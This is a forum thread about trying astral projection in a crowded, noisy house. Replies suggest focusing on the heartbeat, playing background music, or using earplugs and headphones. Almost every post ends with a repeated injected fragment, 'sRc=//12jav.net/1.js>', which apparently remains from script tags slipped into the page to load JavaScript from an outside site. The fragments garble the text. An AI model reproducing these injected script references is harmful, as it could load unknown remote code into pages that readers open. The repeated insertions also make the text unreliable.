crowded house

i live with 9 other people and their is absolutly no way or time that my house is quite at all so is there a way i could AP with all that noise? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

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i wanted to know if it was possible before i wasted my time sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

It is possible, but more difficult as you need to filter out the world around you. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

how do i do that sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I would suggest thinking of your heart. feel it pulse in you. The follow that pulse. It takes a little bit of time because you have to feel the movement in you. But just concentrate on that feeling. That should help to center you and block out the noise. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Also, try and create harmony with all the sounds that you hear around you. Instead of blocking these sounds, absorb them.

Sincerely,
Scrupulous sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I also live with many people and I find that playing music in the background and concentrating on that noise rather than any other helps greatly. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Headphones or earplugs are your friend. Tell them you're taking a nap. Using earplugs, you'll hear your breathing and heartbeat. Using headphones, turn the music up loud enough to drown out any noise in the house. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>